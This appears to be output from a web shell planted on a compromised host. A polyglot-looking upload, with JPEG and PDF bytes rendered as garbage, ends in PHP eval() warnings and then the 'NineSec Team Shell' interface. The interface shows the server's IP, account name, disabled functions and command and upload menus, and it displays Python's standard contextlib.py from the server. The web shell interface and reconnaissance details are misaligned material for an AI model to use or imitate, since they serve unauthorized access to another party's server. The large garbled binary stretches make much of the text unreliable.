JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 C     C   ,, }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?5 (3@ @q@ =hh1 ҀĜPqހi ( í ( ((h (Pnu(9@ h'h*.Yv-dž|;*$ ߓR3ۼ EJ޸nQ֝/V}5IM񭶟w.1k' Ziwm{lq8d?FP"Uja(åP@f1@P@`PP@1@3@7$p9 ƵwLP,RJK3>?Y>:K%αJ+a~2~uk2mi`0ԴP4[f&♑ чM%)tE%[I#OҀ?C>|V -k ״-% P2SEu7 4bZ( ( ( (f%]{eLi Ff|wg'~C?ďOPi|OIgHG'ޗqS_LA48J؉(@=WR 5[gWZ3\Ì2q!r7lWW6v?|<1ʰj.kehcG**׭Qݶ~rN\R{ݍCI RnPPuM'US9B/K xĹ{:Z,Dў]lY>x'9kށ!H>St+ڡUgOEǕhyIlMc")>V?Ҿ ƯwuL<Lm|75c߈jEFn7?b}~_qP}BH PpCp( ( (PFhP7JwPMq<Qww`T IpNmC .VG\wxSіr<Ϯ=hw?.;˽r[˻.$1w$Iғ՛ƛQP$_v_q7xtu?R2,Oj īgns3r{~ƶ!=|1r6'z/3eIrSANN7MEdVPXP@Q wdj jV'-*]na[^ }jE36h#efHViUrL~l{zsxGoW z-RyLY\ÚCn$]jZVhuRH7hc5j%m>^Z̍m~ѳas :TQyxL-LeUFßxZ.e{fyn]XetcFv*9,{_-δsujQ8|XFx_J;D~P~^'[V?&|K˲(Qq?5mFǀTidxz*~YWļV}6t ;]d6t'K\V=n2کU좸,\γH;mjW?j_YY'K!(P@P@Sn+ln漮cxv^,ZJ̇=c׊JwI˛>ַi|Xv WxlDqqN,%r\FMtq?3c_yn ʩX''>1H >ճ-$?t= ;Z^EBDai~PPb  ('ozq8a>޴ /\ʹ-/kोĘ|*|JԼW;/Yv {_8hݭO"vsU3j7سO/qs1=8i[9'zҖ32<qtD z_-; eFzfW E (&scyz#>w:UTP@P@9>} j-o|ΐʦD<2Ez.yT%+ItfO|%o )U3 >>ea#xqWg.Kkt&U(ن]ZT*S?F?U~w[Bǖ$%zw^ǖg ahث@P@ '4Ҁ+th@2h(׍>I%۽1GO<RE'Wk]Zb-mmn >I˨|!?ޠu+Hǘ_={8~ 1KZ>=Rm{ ._˂%OP.ZfY!:E|O]xVY ÝħQҿNa!?8y:u/x-iF;RrDK<2Emus+H4XC(_R6̧,aJ6D~򻾡H( ( ( PqUvcW|JѮ#}m̾YN?8%2;t|VAl`!yU%1ib.݃jոP.QWJ~ơ [Zmye+[^[JG4d}MJGsG?IAJ|uC=7nYF$ǣ)#pq@4P@b (4Q4_N4MoB:Cϔ3F}2r߀G?-=2\mRLBƼ9301pnϩt /0X@$K#@x[+OB1B qLrz~H|S=檰2\J$?(ךǙ"'n$<μlއxx{,5Q!Iq޿-I4waB5(5)+@ܒYM=4 GpRzP.dP@PA-]-FxUdJ7!~) 8o {[Q>wU%$~WUrm:v=N<(6ԯ+J =ZG4),LWSAV?\e%hO߳|Jyv`S9+q  ܕ1åP@쳯m/']{k)˜"3N9%֢R勗ceZ)En}Mh+O,;H~WW]A5flӎN+}fh*|dj_/ʗ*pջYx5?$R0'?ֿ1_W=MU4/0!VM}W<1_sişO55'jm|Mڥy|<ykxO77u mOg'xmt}@NkܛlCp:QUC `ή:lJUpꏘ~"h,!dڻ o,A_s 9HZɳq6vrNE29A.}kEaMFxo7>9JF_c:ʧ)+#OVfyW~(oOvtQ<*a]uR:u5p~)Qb9KGtit\3,e7x{6*$~Fgzs|&v'[bvoϥy8G57ǝ,XW˹z|vљ[ KњC,#vt{/뇷#IUV ?Yu_CӼG;''wּڙ}j{Y +&SwGFME\aEWoQtgRr%5O}pFnWो|'rL^coUX绔,XN5F?3L| T2zPV$y&]f}^2 Rl}sƝ]7?|)RY\/yҌ:4e[^?uٟx}_V:o37;{ѧO$ǃ?}F?0r:悃<@P@̴19o)şrӄ:zgD47["}9NJI#o ja$=ο6g%f ۡƞ{-ԯcWdx93x<.\+ \3(TZ\HZ_[ #iV-ɰ J(HiZ_A&yҕWa KR[Oi zCvQ8{zJn'QQtW/ZXW(ܤ~50׽>.L쪶O.5MMZ_LMݟd^*P>,Ѧzj? ?]ƹMXs{dat & Mwrz|M˰P4o<]|f P}+Hac-OLY!ի/w8=OIYJFI=)6[fa*cN*GEŅ IayX3*ʮ!pf] gmNk]L& G?5m7|GWEjh HlWQ\(+-gܒV0kVOxoIbUg }HFP@?y@ c8F!~#_5ˠ uw gJOWqHvQ_ SA7`j ʜC[«iCsP׎?M N^WٲT*c:`QMΟ+CqD\WSN?1^nZm|&5fp@h$B1@P@"9^j Rv&6N3hˡt)Ni^HS*}j`3оx.Mo^K͕ WcFHkzkjVg;r?iQXxB>s?> ԁ*E{94k#Oh*4$-])k^_ Xz (>=fp3@k>'gVbO5zD ᫲&n/|QsRUS+:ѴUj[9+-^A32E2I"VXzQ<8fKpDєuJRLs,i*t,v>?=xwFSO͕Cil~jN}2=vuUBqzm4ψK!҂@cOZP@q@l7Zi`QWc:Ox2ŚAoי$<*\/O O8{bB}zm.+d4rǹ57,D޺|;r\4h%^X~g@yg|Umad>T|5&@E?d~N=uP@>ƀ&*\m~+bЏ@ ⛽ N Nǃ_UWt?Hi~[4rՋi+yO׷S>L1Ktb7U ,3UGopfa ۲$2 \:񏕜tw]F<MAJ_(]a@ ii\ƴyծdx6 ˪[DF^f°WbaopGR|tu+E2WI#gqа?8yCr->:Z #ִ)v5=]#Ŀ%n&Q=+TK(O|4^E:sa4rJ.Bk;3Քcgy{7dfFc|ϧt$-G#Z#(VRΌ6xʌz49}SW- ٟe= NR~8YOZ> FxA@­VKM$8WJ>4p#^7O\WuTF"+W3ўR[ص]9ˀWdнt|H*9D[޿P}-?f O  $h6{vfXA'mh (Sb$l8h E?k~bioF@9Mp&i{ZW~~7ً=1mMIJniZ1{֮GhկOjINJ>!VY'cg=pMJ9-x,WS+?GԼS+8'l1?Z&#O;nwRi8&;kG6od{; @ǣQM5C -rW# }vIU}L-ƚܸt ᕸJG߿)J0yV~-wyQ}kߍ7Irn%:vGß淂uf|EarNYzS91;\nYӬ"=QCI v瀮5qV[u-vCҁ3{_ν\>I:lj5zgo 3}ݿ_Qias| S|8yW,^T R?5Zu_evD_<Q#$9~@մLA@83@ՖErC9'Eܖm F3M[fRؐKT85ǦsۭW3Gi?~/ԴJc^v:!yoJVvE6AW0TQ3EᣅOK |5,{^s[\ /:VVp늾gZS ʰӦhלܧjceMYfu%e`q6v!)6okKxqfKGEf^('É>!֞WͲLD>\Wˡy4( ( (KpbaSԲ2C>~4$cGCP0RROTM5쮟<'ƗKTwTV;bNjұܚd=BP@P@P:o;/ԩ#_k7W.sHǟs_a{isy6ugO9>"\ÆtGea#? ld=6?IsߚP@!{P<$)@gJ_7<6"e^i_1JuZDžX9ɠ p@hvz6zB&ZC@Ne ހ@(elUZ v>=c_pX_糽Ukk#|˕Տaa*M (Erw˥)?t~`!E}In~uG?,734-ĺݎa \_^ΖByRk?-^mm6R%b{Z+x1åP@! >(4gv[|AҭDعilmo3)RAP:@P@ #oH.5N#=ԩ 1$PoOh/ x{㮟kxN2hf7uz%>W%gXm€#<|mᗏ"C <9iҭvv%UPNJkTe[9b:qKpBx0 *r85Rz3ZKvg>ȱBg>|C?О ,>MFtlW~S++i&mD uj$g2$I쏙0#xsPfp3&v„όz`3@ (ao1O\ F RIǚb~ VnM~kͥZ ?+X'(̈́zo<Ѧ=)#!^c'8]cg?h_' Yݛz|QQj}КΧ{2lUsny(֝ ʫ= ?k3X6\|9gR%pJP@ G9=+Ew$yҔ7$xE`ge}+Ƚ/U[ny||HvկumN-AՉ} }cVVGuSrݟП;Mh~ siwp s#bxlJH1Ҁ ( (nq}iX f-;Ky?Y+]h9p3>6{Q`?gMO>%t-jK WOJ0àH (2͜.xUm DSK|qV'4tu?2ֹ:Rlr5͘ҋxIǫ˚epT OT(-򫰡k2UT[_ğ'-:?}^Q˞g\{i{ˆG/+Y** UTujyKx}>*xG-VMZ[7 wǢjbN0c>B( ( F@ ZNLࣿۡYΟM@(qz(zJfkyxe|5kV[2#n, ';_1es'5/m~G ~iSiJ!3Sy|ıF,jP` qZA-@ P@P@P@&9wbcՃ}{PIx&+ ,#B#MhѨ2^0:Kր?!˝:{k$KUсA*P<0& 7 P@0u zS sbϣ }QoA޿I Yw"5,/$k nihb%cyrMYE}_ɾzx^_^ͨ<9F9fc}ҦC'#SQխw{j?mItﶶrIEڙ~h=iuVV6P4 @eP@4P@P@P@@4s@n9~S@XvGGߴl~%En@fȠƿU{W^nsvCG4gkz7FS؊]vh(h (q@ (gx)k Tr{"|''9?*җ?\6&0ӔJo^?Ѽ6..IHb!>zxL'ucs?ǙI3? ?;^Tm{`X_3cɤWm ׷X $W͹&gWe59#tp~>/1}S>+{h 1(:A}1|t8t ( ( (=( AC8A{l<@xio>Eڍ9+NA(o]x ZσxK2/^~Ccs,䲚Xg6(VA@]wo @ @1Ҁ@(9! S\ZXj-Zf5YÌyq ~k[EKhw8jH⦸y9䱯Z妬~RZs{ Kxqަ^8̇F=Llq?a=W-+Au=I5sh?(zPɠ`P@P@P@P@(# LւGdPx~~Щ,!vZӌli`ApO0?Ư$*]xVKKcdoP> ~~,΄mu񵇸$PҀc6ʀqAH^#4 R{P5;-wWih۝O` ,2|H^ӣ.'-.q>hWϳb?@1~{kbuņt[ah{hm!Hb*FT {0hc?79`@P@P@P@(h"XplPy@ZƇ5;+}BD?<+?$,-.\s>hd/@#­Mm:FdKSh?"lGwU^q@~??1|OҚ}6@jXnwQ9iMGq#/>75"Ym}4iCG/![S3War<#>[_ nBXڤ\{2hnI'P3cCH M,( ( ( 9ɠ& PrhZ:x&>B (1hZ_ (zưր@ ɠL2h$2hɠ( (+la%/$pd{(^xqqh?7_xծ4 wMSIݤ~I@Wku4CWQH c%wdPGr-{Qn6.f:[|K?^~_kiv74wMNj60&+9VX 8<(av2Rholg  AU|1 7xL>oi8@ ⿈$v?!:@$#۸"9hQ<1h߿M3Öt]5-689ڀ0\~"`A=@ƟYqA{i"{y0xDf/^E#M {p71<oF=:95'Rp3@Kᴗc=< jpߜmۻ9 O|P`tyzpq##ހ4|3zh5k-jı\NFXu@~$_ź&{5pɷvP|c?vh6d ;IRFyP|Lg~&tRG$ 8$##4w^2|gC@,53sapFu@|so&,^7Aҋ/mۻ9ܨO@]/{/uoAtT0WKl}ƀ=EipjZ>miӮ%Y#z@%xy%cfw8O ~!xdNЃU$cwZT@FCgpsq%HbksB88۷vs1@'|WGJ5kNw ds9Q xitv[u*i׉9@N(|7^@Ү/@5^}Xis_\kh#ª};߅];|Qӵ /t]SMQue.K#|rGPG}bOWbP.\W3iVHO* ZIXzljSFmNQnf/n/(2K0h?ி'g'@}47 ƿO%}jy>/C4ʝ>Y͍,9lP:unjgZ0imrc;XpA+g >$-#X |~].5>Lԭ.l36$?*/xIuA4!qk[Fz3}x_|.o(I ,ud 0 u}}s'?[_'4h:jCa'#fR&- i?q?icy?,ǗNɷ -.40)'ê͎\(7 IҮ:IU?^vmI}u@<yWu_Ȟ=5=?y.#O@HqPc+>&JKyB6r|T AƎ2WFde;-7Q 2mk~4Wm4u?ըh aA@|Kq藠/$|-[B#yI;sA[\Zu޹u PYcUAX{h+&7 >i7Z, lv?OO I~%%;tVGV0GoZ .toL֎C9 ƀ= 1ZIggLrJ$xv߳ϣ]K mVmmA?ڗJ?n <6w|y3 Yuj/y2iWW2H33q4RI:C&ou7>;&ڶ [tz.sJMv).oB= %Ǡ4Ճ~v=|V@hGo%fzc@_tW|XOK{kxG9y3E# ƀ?7?g]~a$fP/ٺ+@?+‘K'iD<"{ nq%~?Frh㕣?z7^~iT{uჵC >j3~~rê)闞]?*> ZԿeo&YiW:i5;9$2&!P~&xEׅi*XOH''ԿWORwݢq2J@׿ $K6`_ $PP@ľ>x? /@O>5x?RZkVR@x,~[,5/OsRIlN9W|BN\ d_%2aztPofvܼHܰtUxgH^4KOOI3Z/O9O*VLm+M~6y>)J3#:^?^þ[[]gYIxIB\?a~**e}wQ5Q W*̊>b8'Zៅ.گN$TJ;%MOLw="Ԓ&x`|lqO@c~l,:|7Cz}jmX2[FET\0@_?ωW#ʙ L6΀><|yH|EU#YSrM ϯo_ 3i6N%1D2:sgEmY7T1٥F`3J㏇u/w䉠Bq6m4RZU'\-tӬV;{2Yxw$bIlPwvm{=S׬#F1M8rq\_Ͽ?|Y_mkڵ捪MXpz<⻯AHy^nC,}aNY`6 ua|}mSšUrIU_k~tL6sƹg-~f>]_)43HYd ֖ Ym7'-6Rx ~\h~|n i-M mK!@ AFYfƗ <,1=p? :1 ToA1K+ uh#Qsg,Ƅf {f1Y>1V3/(?-MelbFV*@?ݐ7E{SLεѭ@ACJ > (_-X|sI|-^PJWsc>cb_s_`qXiyǗ>|>OZ#oh$P>3_<|wK<ߑ,c eRVx}Cg cYF#ݒíc? /&(x7Hrq@X-BasktML3?>$I)k?S*h(-. >@?7|C sc> t/?|_[$nD'WvP?:?mC ~?m JvN0+~ȿ΁-x5Yq}P7 n怱??Əm|c/$YN2Dp#,kcjo7u/\[ +t!ʱ `~l ,g뿅WxKZ4ˤ]>XMzwS :+āw3@|x:'j:6Cq#͟OǶ$nXuKfi_CǯxCT._˽^G_|cSE⏈iHYklP? c=gkƯbFʤFK9ց3|[ׇu|DҦ.b!R @g /?LaܙNmEϟ4П셢,/5I4-GIi`+eA#p},s5k"~#-S7-․+cC4ԀfpPHh4 4 Pq@O@PP@(1@#4.hɠ'րIsAHN 4Ps@=($w4d@n> I=hhCsAAA((1@ yL%PDF-1.3 % 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream x\mo7 a?Hyi{$E(i?ckrAvEzFHI|H?{|Z|X|Ň77?Oݞ__lOя77wx'?Ű8I] gQB2za]l|ɇ՟?} " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress
Warning: file_get_contents(test.txt): Failed to open stream: No such file or directory in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357427_0_197006009.php(237) : eval()'d code on line 6

Warning: Cannot modify header information - headers already sent by (output started at /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357427_0_197006009.php:1) in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357427_0_197006009.php(237) : eval()'d code on line 45
NineSec Team Shell
NineSec Team Shell
Server IP : 82.25.113.252  /  Your IP : 216.73.216.130
Web Server : LiteSpeed
System : Linux fr-int-web2058.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u178500310 ( 178500310)
PHP Version : 8.2.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /lib64/bpf/../gnome-settings-daemon-3.0/../ruby/../libnl/cli/../cli/../../python3.9/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //lib64/bpf/../gnome-settings-daemon-3.0/../ruby/../libnl/cli/../cli/../../python3.9/contextlib.py
"""Utilities for with-statement contexts.  See PEP 343."""
import abc
import sys
import _collections_abc
from collections import deque
from functools import wraps
from types import MethodType, GenericAlias

__all__ = ["asynccontextmanager", "contextmanager", "closing", "nullcontext",
           "AbstractContextManager", "AbstractAsyncContextManager",
           "AsyncExitStack", "ContextDecorator", "ExitStack",
           "redirect_stdout", "redirect_stderr", "suppress"]


class AbstractContextManager(abc.ABC):

    """An abstract base class for context managers."""

    __class_getitem__ = classmethod(GenericAlias)

    def __enter__(self):
        """Return `self` upon entering the runtime context."""
        return self

    @abc.abstractmethod
    def __exit__(self, exc_type, exc_value, traceback):
        """Raise any exception triggered within the runtime context."""
        return None

    @classmethod
    def __subclasshook__(cls, C):
        if cls is AbstractContextManager:
            return _collections_abc._check_methods(C, "__enter__", "__exit__")
        return NotImplemented


class AbstractAsyncContextManager(abc.ABC):

    """An abstract base class for asynchronous context managers."""

    __class_getitem__ = classmethod(GenericAlias)

    async def __aenter__(self):
        """Return `self` upon entering the runtime context."""
        return self

    @abc.abstractmethod
    async def __aexit__(self, exc_type, exc_value, traceback):
        """Raise any exception triggered within the runtime context."""
        return None

    @classmethod
    def __subclasshook__(cls, C):
        if cls is AbstractAsyncContextManager:
            return _collections_abc._check_methods(C, "__aenter__",
                                                   "__aexit__")
        return NotImplemented


class ContextDecorator(object):
    "A base class or mixin that enables context managers to work as decorators."

    def _recreate_cm(self):
        """Return a recreated instance of self.

        Allows an otherwise one-shot context manager like
        _GeneratorContextManager to support use as
        a decorator via implicit recreation.

        This is a private interface just for _GeneratorContextManager.
        See issue #11647 for details.
        """
        return self

    def __call__(self, func):
        @wraps(func)
        def inner(*args, **kwds):
            with self._recreate_cm():
                return func(*args, **kwds)
        return inner


class _GeneratorContextManagerBase:
    """Shared functionality for @contextmanager and @asynccontextmanager."""

    def __init__(self, func, args, kwds):
        self.gen = func(*args, **kwds)
        self.func, self.args, self.kwds = func, args, kwds
        # Issue 19330: ensure context manager instances have good docstrings
        doc = getattr(func, "__doc__", None)
        if doc is None:
            doc = type(self).__doc__
        self.__doc__ = doc
        # Unfortunately, this still doesn't provide good help output when
        # inspecting the created context manager instances, since pydoc
        # currently bypasses the instance docstring and shows the docstring
        # for the class instead.
        # See http://bugs.python.org/issue19404 for more details.

    def _recreate_cm(self):
        # _GCMB instances are one-shot context managers, so the
        # CM must be recreated each time a decorated function is
        # called
        return self.__class__(self.func, self.args, self.kwds)


class _GeneratorContextManager(
    _GeneratorContextManagerBase,
    AbstractContextManager,
    ContextDecorator,
):
    """Helper for @contextmanager decorator."""

    def __enter__(self):
        # do not keep args and kwds alive unnecessarily
        # they are only needed for recreation, which is not possible anymore
        del self.args, self.kwds, self.func
        try:
            return next(self.gen)
        except StopIteration:
            raise RuntimeError("generator didn't yield") from None

    def __exit__(self, typ, value, traceback):
        if typ is None:
            try:
                next(self.gen)
            except StopIteration:
                return False
            else:
                raise RuntimeError("generator didn't stop")
        else:
            if value is None:
                # Need to force instantiation so we can reliably
                # tell if we get the same exception back
                value = typ()
            try:
                self.gen.throw(typ, value, traceback)
            except StopIteration as exc:
                # Suppress StopIteration *unless* it's the same exception that
                # was passed to throw().  This prevents a StopIteration
                # raised inside the "with" statement from being suppressed.
                return exc is not value
            except RuntimeError as exc:
                # Don't re-raise the passed in exception. (issue27122)
                if exc is value:
                    return False
                # Avoid suppressing if a StopIteration exception
                # was passed to throw() and later wrapped into a RuntimeError
                # (see PEP 479 for sync generators; async generators also
                # have this behavior). But do this only if the exception wrapped
                # by the RuntimeError is actually Stop(Async)Iteration (see
                # issue29692).
                if (
                    isinstance(value, StopIteration)
                    and exc.__cause__ is value
                ):
                    return False
                raise
            except BaseException as exc:
                # only re-raise if it's *not* the exception that was
                # passed to throw(), because __exit__() must not raise
                # an exception unless __exit__() itself failed.  But throw()
                # has to raise the exception to signal propagation, so this
                # fixes the impedance mismatch between the throw() protocol
                # and the __exit__() protocol.
                if exc is not value:
                    raise
                return False
            raise RuntimeError("generator didn't stop after throw()")


class _AsyncGeneratorContextManager(_GeneratorContextManagerBase,
                                    AbstractAsyncContextManager):
    """Helper for @asynccontextmanager decorator."""

    async def __aenter__(self):
        # do not keep args and kwds alive unnecessarily
        # they are only needed for recreation, which is not possible anymore
        del self.args, self.kwds, self.func
        try:
            return await self.gen.__anext__()
        except StopAsyncIteration:
            raise RuntimeError("generator didn't yield") from None

    async def __aexit__(self, typ, value, traceback):
        if typ is None:
            try:
                await self.gen.__anext__()
            except StopAsyncIteration:
                return False
            else:
                raise RuntimeError("generator didn't stop")
        else:
            if value is None:
                # Need to force instantiation so we can reliably
                # tell if we get the same exception back
                value = typ()
            try:
                await self.gen.athrow(typ, value, traceback)
            except StopAsyncIteration as exc:
                # Suppress StopIteration *unless* it's the same exception that
                # was passed to throw().  This prevents a StopIteration
                # raised inside the "with" statement from being suppressed.
                return exc is not value
            except RuntimeError as exc:
                # Don't re-raise the passed in exception. (issue27122)
                if exc is value:
                    return False
                # Avoid suppressing if a Stop(Async)Iteration exception
                # was passed to athrow() and later wrapped into a RuntimeError
                # (see PEP 479 for sync generators; async generators also
                # have this behavior). But do this only if the exception wrapped
                # by the RuntimeError is actully Stop(Async)Iteration (see
                # issue29692).
                if (
                    isinstance(value, (StopIteration, StopAsyncIteration))
                    and exc.__cause__ is value
                ):
                    return False
                raise
            except BaseException as exc:
                # only re-raise if it's *not* the exception that was
                # passed to throw(), because __exit__() must not raise
                # an exception unless __exit__() itself failed.  But throw()
                # has to raise the exception to signal propagation, so this
                # fixes the impedance mismatch between the throw() protocol
                # and the __exit__() protocol.
                if exc is not value:
                    raise
                return False
            raise RuntimeError("generator didn't stop after athrow()")


def contextmanager(func):
    """@contextmanager decorator.

    Typical usage:

        @contextmanager
        def some_generator(<arguments>):
            <setup>
            try:
                yield <value>
            finally:
                <cleanup>

    This makes this:

        with some_generator(<arguments>) as <variable>:
            <body>

    equivalent to this:

        <setup>
        try:
            <variable> = <value>
            <body>
        finally:
            <cleanup>
    """
    @wraps(func)
    def helper(*args, **kwds):
        return _GeneratorContextManager(func, args, kwds)
    return helper


def asynccontextmanager(func):
    """@asynccontextmanager decorator.

    Typical usage:

        @asynccontextmanager
        async def some_async_generator(<arguments>):
            <setup>
            try:
                yield <value>
            finally:
                <cleanup>

    This makes this:

        async with some_async_generator(<arguments>) as <variable>:
            <body>

    equivalent to this:

        <setup>
        try:
            <variable> = <value>
            <body>
        finally:
            <cleanup>
    """
    @wraps(func)
    def helper(*args, **kwds):
        return _AsyncGeneratorContextManager(func, args, kwds)
    return helper


class closing(AbstractContextManager):
    """Context to automatically close something at the end of a block.

    Code like this:

        with closing(<module>.open(<arguments>)) as f:
            <block>

    is equivalent to this:

        f = <module>.open(<arguments>)
        try:
            <block>
        finally:
            f.close()

    """
    def __init__(self, thing):
        self.thing = thing
    def __enter__(self):
        return self.thing
    def __exit__(self, *exc_info):
        self.thing.close()


class _RedirectStream(AbstractContextManager):

    _stream = None

    def __init__(self, new_target):
        self._new_target = new_target
        # We use a list of old targets to make this CM re-entrant
        self._old_targets = []

    def __enter__(self):
        self._old_targets.append(getattr(sys, self._stream))
        setattr(sys, self._stream, self._new_target)
        return self._new_target

    def __exit__(self, exctype, excinst, exctb):
        setattr(sys, self._stream, self._old_targets.pop())


class redirect_stdout(_RedirectStream):
    """Context manager for temporarily redirecting stdout to another file.

        # How to send help() to stderr
        with redirect_stdout(sys.stderr):
            help(dir)

        # How to write help() to a file
        with open('help.txt', 'w') as f:
            with redirect_stdout(f):
                help(pow)
    """

    _stream = "stdout"


class redirect_stderr(_RedirectStream):
    """Context manager for temporarily redirecting stderr to another file."""

    _stream = "stderr"


class suppress(AbstractContextManager):
    """Context manager to suppress specified exceptions

    After the exception is suppressed, execution proceeds with the next
    statement following the with statement.

         with suppress(FileNotFoundError):
             os.remove(somefile)
         # Execution still resumes here if the file was already removed
    """

    def __init__(self, *exceptions):
        self._exceptions = exceptions

    def __enter__(self):
        pass

    def __exit__(self, exctype, excinst, exctb):
        # Unlike isinstance and issubclass, CPython exception handling
        # currently only looks at the concrete type hierarchy (ignoring
        # the instance and subclass checking hooks). While Guido considers
        # that a bug rather than a feature, it's a fairly hard one to fix
        # due to various internal implementation details. suppress provides
        # the simpler issubclass based semantics, rather than trying to
        # exactly reproduce the limitations of the CPython interpreter.
        #
        # See http://bugs.python.org/issue12029 for more details
        return exctype is not None and issubclass(exctype, self._exceptions)


class _BaseExitStack:
    """A base class for ExitStack and AsyncExitStack."""

    @staticmethod
    def _create_exit_wrapper(cm, cm_exit):
        return MethodType(cm_exit, cm)

    @staticmethod
    def _create_cb_wrapper(callback, /, *args, **kwds):
        def _exit_wrapper(exc_type, exc, tb):
            callback(*args, **kwds)
        return _exit_wrapper

    def __init__(self):
        self._exit_callbacks = deque()

    def pop_all(self):
        """Preserve the context stack by transferring it to a new instance."""
        new_stack = type(self)()
        new_stack._exit_callbacks = self._exit_callbacks
        self._exit_callbacks = deque()
        return new_stack

    def push(self, exit):
        """Registers a callback with the standard __exit__ method signature.

        Can suppress exceptions the same way __exit__ method can.
        Also accepts any object with an __exit__ method (registering a call
        to the method instead of the object itself).
        """
        # We use an unbound method rather than a bound method to follow
        # the standard lookup behaviour for special methods.
        _cb_type = type(exit)

        try:
            exit_method = _cb_type.__exit__
        except AttributeError:
            # Not a context manager, so assume it's a callable.
            self._push_exit_callback(exit)
        else:
            self._push_cm_exit(exit, exit_method)
        return exit  # Allow use as a decorator.

    def enter_context(self, cm):
        """Enters the supplied context manager.

        If successful, also pushes its __exit__ method as a callback and
        returns the result of the __enter__ method.
        """
        # We look up the special methods on the type to match the with
        # statement.
        _cm_type = type(cm)
        _exit = _cm_type.__exit__
        result = _cm_type.__enter__(cm)
        self._push_cm_exit(cm, _exit)
        return result

    def callback(self, callback, /, *args, **kwds):
        """Registers an arbitrary callback and arguments.

        Cannot suppress exceptions.
        """
        _exit_wrapper = self._create_cb_wrapper(callback, *args, **kwds)

        # We changed the signature, so using @wraps is not appropriate, but
        # setting __wrapped__ may still help with introspection.
        _exit_wrapper.__wrapped__ = callback
        self._push_exit_callback(_exit_wrapper)
        return callback  # Allow use as a decorator

    def _push_cm_exit(self, cm, cm_exit):
        """Helper to correctly register callbacks to __exit__ methods."""
        _exit_wrapper = self._create_exit_wrapper(cm, cm_exit)
        self._push_exit_callback(_exit_wrapper, True)

    def _push_exit_callback(self, callback, is_sync=True):
        self._exit_callbacks.append((is_sync, callback))


# Inspired by discussions on http://bugs.python.org/issue13585
class ExitStack(_BaseExitStack, AbstractContextManager):
    """Context manager for dynamic management of a stack of exit callbacks.

    For example:
        with ExitStack() as stack:
            files = [stack.enter_context(open(fname)) for fname in filenames]
            # All opened files will automatically be closed at the end of
            # the with statement, even if attempts to open files later
            # in the list raise an exception.
    """

    def __enter__(self):
        return self

    def __exit__(self, *exc_details):
        received_exc = exc_details[0] is not None

        # We manipulate the exception state so it behaves as though
        # we were actually nesting multiple with statements
        frame_exc = sys.exc_info()[1]
        def _fix_exception_context(new_exc, old_exc):
            # Context may not be correct, so find the end of the chain
            while 1:
                exc_context = new_exc.__context__
                if exc_context is None or exc_context is old_exc:
                    # Context is already set correctly (see issue 20317)
                    return
                if exc_context is frame_exc:
                    break
                new_exc = exc_context
            # Change the end of the chain to point to the exception
            # we expect it to reference
            new_exc.__context__ = old_exc

        # Callbacks are invoked in LIFO order to match the behaviour of
        # nested context managers
        suppressed_exc = False
        pending_raise = False
        while self._exit_callbacks:
            is_sync, cb = self._exit_callbacks.pop()
            assert is_sync
            try:
                if cb(*exc_details):
                    suppressed_exc = True
                    pending_raise = False
                    exc_details = (None, None, None)
            except:
                new_exc_details = sys.exc_info()
                # simulate the stack of exceptions by setting the context
                _fix_exception_context(new_exc_details[1], exc_details[1])
                pending_raise = True
                exc_details = new_exc_details
        if pending_raise:
            try:
                # bare "raise exc_details[1]" replaces our carefully
                # set-up context
                fixed_ctx = exc_details[1].__context__
                raise exc_details[1]
            except BaseException:
                exc_details[1].__context__ = fixed_ctx
                raise
        return received_exc and suppressed_exc

    def close(self):
        """Immediately unwind the context stack."""
        self.__exit__(None, None, None)


# Inspired by discussions on https://bugs.python.org/issue29302
class AsyncExitStack(_BaseExitStack, AbstractAsyncContextManager):
    """Async context manager for dynamic management of a stack of exit
    callbacks.

    For example:
        async with AsyncExitStack() as stack:
            connections = [await stack.enter_async_context(get_connection())
                for i in range(5)]
            # All opened connections will automatically be released at the
            # end of the async with statement, even if attempts to open a
            # connection later in the list raise an exception.
    """

    @staticmethod
    def _create_async_exit_wrapper(cm, cm_exit):
        return MethodType(cm_exit, cm)

    @staticmethod
    def _create_async_cb_wrapper(callback, /, *args, **kwds):
        async def _exit_wrapper(exc_type, exc, tb):
            await callback(*args, **kwds)
        return _exit_wrapper

    async def enter_async_context(self, cm):
        """Enters the supplied async context manager.

        If successful, also pushes its __aexit__ method as a callback and
        returns the result of the __aenter__ method.
        """
